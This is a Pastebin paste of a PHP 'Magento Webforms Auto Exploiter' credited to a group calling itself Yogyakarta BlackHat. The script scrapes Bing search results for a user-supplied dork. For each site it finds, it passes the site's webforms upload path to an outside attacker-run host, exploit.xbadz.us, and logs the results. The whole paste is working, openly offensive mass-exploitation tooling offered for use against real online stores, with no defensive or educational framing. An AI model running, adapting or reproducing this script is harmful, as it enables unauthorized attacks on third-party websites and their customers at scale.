Advertisement
Badchilds

Magento Webforms Auto Exploiter

Oct 6th, 2016
1,421
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 7.98 KB | None | 0 0
  1. <?php
  2. date_default_timezone_set('America/Los_Angeles');
  3. // ===================================
  4. // YOGYAKARTA BLACKHAT
  5. // ===================================
  6. // Thanks To FathurFreakz
  7. // Usage: php filename.php "Dork"
  8. // Example: php badchilds.php "/customer/account/"
  9. // ===================================
  10.  
  11. // Starting Class
  12. class BADCHILDS {
  13.         private $xBadcc = "BADCHILDS";
  14.         private $xBadZone = "http://xbadz.us/";
  15.         private $xBadOrg = "Yogyakarta BlackHat";
  16.         private $dork = "";
  17.        
  18.         //Starting Dork from Terminal Usage.
  19.         function __construct($dork){
  20.                 return $this->dork = $dork;
  21.         }
  22.         //End Dork
  23.        
  24.         // Please Dont Change, this is a Landmark.
  25.         function YogyakartaBlackhat(){
  26.             $bad  = "====================================\n";
  27.             $bad .= "#  BADCHILDS - WEBFORMS EXPLOITER  #\n";
  28.             $bad .= "#\t\t Yogyakarta Blackhat \t\t#\n";
  29.             $bad .= "#\t Thanks To FathurFreakz \t#\n";
  30.             $bad .= "#\t\t YKBH(C)".date("Y")." \t\t#\n";
  31.             $bad .= "====================================\n";
  32.             $bad .= "#\t Usage \t\t: php ".basename($_SERVER["SCRIPT_FILENAME"], '.php').".php \"Dork\"\t #\n";
  33.             $bad .= "====================================\n";
  34.             echo $bad;
  35.         }
  36.         // End Landmark
  37.        
  38.         // Get Curl Post for Calling Target.
  39.         private function BadCurlPost($url, $post = false){
  40.                 $ch = curl_init();
  41.                 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  42.                 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  43.                 curl_setopt($ch, CURLOPT_URL, $url);
  44.                 curl_setopt($ch, CURLOPT_HEADER, 0);
  45.                 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  46.                 curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
  47.                 curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
  48.                 if($post !== false){
  49.                         $isi = '';
  50.                         foreach($post as $key=>$value){
  51.                                 $isi .= $key.'='.$value.'&';
  52.                         }
  53.                         rtrim($isi, '&');
  54.                         curl_setopt($ch, CURLOPT_URL, $url);
  55.                         curl_setopt($ch, CURLOPT_POST, count($isi));
  56.                         curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
  57.                         curl_setopt($ch, CURLOPT_POSTFIELDS, $isi);
  58.                 }
  59.                 $data = curl_exec($ch);
  60.                 curl_close($ch);
  61.                 return $data;
  62.         }
  63.         // End Curl Post
  64.        
  65.         // Get Target From Dork - Search Engine on Bing.
  66.         public function SearchingEngine($engine){
  67.                 $list = array();
  68.                 $ccbing = array("ca","br","be","nl","uk","it","es","de","no","dk","se","ch","ru","jp","cn","kr","mx","ar","cl","au");
  69.                 $ccgoogle = array("ae","com.af","com.ag","off.ai","am","com.ar","as","at","com.au","az","ba","com.bd","be","bg","bi","com.bo","com.br","bs","co.bw","com.bz","ca","cd","cg","ch","ci","co.ck","cl","com.co","co.cr","com.cu","de","dj","dk","dm","com.do","com.ec","es","com.et","fi","com.fj","fm","fr","gg","com.gi","gl","gm","gr","com.gt","com.hk","hn","hr","co.hu","co.id","ie","co.il","co.im","co.in","is","it","co.je","com.jm","jo","co.jp","co.ke","kg","co.kr","kz","li","lk","co.ls","lt","lu","lv","com.ly","mn","ms","com.mt","mu","mw","com.mx","com.my","com.na","com.nf","com.ni","nl","no","com.np","nr","nu","co.nz","com.om","com.pa","com.pe","com.ph","com.pk","pl","pn","com.pr","pt","com.py","ro","ru","rw","com.sa","com.sb","sc","se","com.sg","sh","sk","sn","sm","com.sv","co.th","com.tj","tm","to","tp","com.tr","tt","com.tw","com.ua","co.ug","co.uk","com.uy","uz","com.vc","co.ve","vg","co.vi","com.vn","vu","ws","co.za","co.zm");
  70.  
  71.                 switch($engine){
  72.                         case 1:
  73.                                 for($i=0;$i<=1000;$i+=10){
  74.                                         $search = $this->BadCurlPost("http://www.bing.com/search?q=".urlencode($this->dork)."&first=".$i);
  75.                                         preg_match_all('#<h2><a href="(.*?)" h="ID#', $search, $m);
  76.                                         foreach($m[1] as $link){
  77.                                                 if(!preg_match("/live|msn|bing|microsoft/",$link)){
  78.                                                         if(!in_array($link,$list)){
  79.                                                                 $list[] = $link;
  80.                                                         }
  81.                                                 }
  82.                                         }
  83.                                         echo "[".date("H:i:s")."] Get Bing => [".count(array_unique($m[1]))."]\n";
  84.                                 }
  85.                         break;
  86.                         case 2:
  87.                                 for($x=0;$x<=count($ccbing)-1;$x++){
  88.                                         for($i=0;$i<=1000;$i+=10){
  89.                                                 $search = $this->BadCurlPost("http://www.bing.com/search?q=".urlencode($this->dork)."&cc=".$ccbing[$x]."&rf=1&first=".$i."&FORM=PORE");
  90.                                                 preg_match_all('#<h2><a href="(.*?)" h="ID#', $search, $m);
  91.                                                 foreach($m[1] as $link){
  92.                                                         if(!preg_match("/live|msn|bing|microsoft/",$link)){
  93.                                                                 if(!in_array($link,$list)){
  94.                                                                         $list[] = $link;
  95.                                                                 }
  96.                                                         }
  97.                                                 }
  98.                                                 echo "[".date("H:i:s")."] Get Bing ".$ccbing[$x]." => [".count(array_unique($m[1]))."]\n";
  99.                                         }
  100.                                 }
  101.                                 echo "[".date("H:i:s")."] Result Searching => ".count($list)."\n";
  102.                         break;
  103.                         case 3:
  104.                 for($x=0;$x<=count($ccgoogle)-1;$x++){
  105.                     for($i=0;$i<=200;$i+=10){
  106.                         $search = $this->CurlPost("http://www.google.".$ccgoogle[$x]."/search?num=50&q=inurl:".urlencode($this->dork)."&start=".$i."&sa=N");
  107.                         preg_match_all('/<a href=\"?http:\/\/([^>\"]*)\//m', $search, $m);
  108.                         foreach($m[1] as $link){
  109.                             if(!preg_match("/google/",$link)){
  110.                                 if(!in_array($link,$list)){
  111.                                     $list[] = $link;
  112.                                 }
  113.                             }
  114.                         }
  115.                         echo "Get Google => [".count(array_unique($m[1]))."]\n";
  116.                     }
  117.                 }
  118.                 echo "Result Searching => ".count($list)."\n";
  119.             break;
  120.                 }
  121.                 if(count($list)>0){
  122.                         echo "Start Exploit => [ ".count($list)." Dorks ]\nPlease Wait ... \n";
  123.                         foreach($list as $do){
  124.                                 echo $this->BadExploiting($do)."\n";
  125.                         }
  126.                 }
  127.         }
  128.         // End Searching
  129.        
  130.         // Started Exploiting Target, Call Dork and Get Target
  131.         private function BadExploiting($target){
  132.                 $link = parse_url($target);
  133.                 $data = $this->BadCurlPost("http://exploit.xbadz.us/badchilds.php?victim=".sprintf("%s://%s/js/webforms/upload/",(isset($link["scheme"]) ? $link["scheme"] : "http://"),(isset($link["host"]) ? $link["host"] : $target))."&get=TRUE");
  134.                 $Result = fopen("Webresult-".date("d-m-Y").".log","a");
  135.                 $xbadchilds = strtoupper(sprintf("%s://%s/js/webforms/upload/",(isset($link["scheme"]) ? $link["scheme"] : "http://"),(isset($link["host"]) ? $link["host"] : $target)));
  136.                 fwrite($Result,$data, strlen($data));
  137.                 fclose($Result);
  138.                 return "===>[ ". $xbadchilds ." ]<===\n".$data;
  139.  
  140.         }
  141.         // End Exploiting
  142. }
  143. // End Class
  144.  
  145. $Exploiter = new BADCHILDS($argv[1]);
  146. echo "Get Searching ".$argv[1]."\n";
  147. for($x=1;$x<3;$x++){
  148.         $Exploiter->SearchingEngine($x);
  149. }
  150. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement